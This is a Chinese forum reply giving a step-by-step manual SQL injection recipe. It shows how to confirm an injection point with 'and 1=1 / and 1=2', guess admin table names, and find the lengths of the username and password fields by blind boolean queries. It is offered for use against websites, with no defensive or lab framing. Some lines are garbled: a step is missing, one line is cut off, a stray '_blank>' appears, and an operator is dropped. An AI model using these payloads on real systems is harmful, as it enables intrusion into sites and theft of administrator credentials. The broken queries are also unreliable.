除了这一种，还有其他的吗

追答

1.判断有无注入点
; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0(select count(*) from *)
and 0(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到00)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
